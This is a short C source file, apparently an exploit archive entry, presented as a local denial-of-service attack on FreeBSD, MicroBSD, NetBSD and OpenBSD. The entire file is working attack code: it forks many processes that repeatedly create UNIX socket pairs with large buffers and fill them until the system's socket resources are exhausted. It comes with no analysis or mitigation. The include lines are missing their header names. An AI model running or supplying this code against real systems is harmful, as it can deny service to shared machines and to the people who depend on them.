/* * FreeBSD/MicroBSD/NetBSD/OpenBSD local denial of service by socket starvation * Code by Adam Naguszewski */ #include #include #include #define NPROCS 20 #define BUFFERSIZE 204800 int main(void) { int p[2], i; char crap[BUFFERSIZE]; for (i = 0; i < NPROCS - 1; i++) { if (fork()) break; } sleep(5); for (;;) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } pause(); return 0; }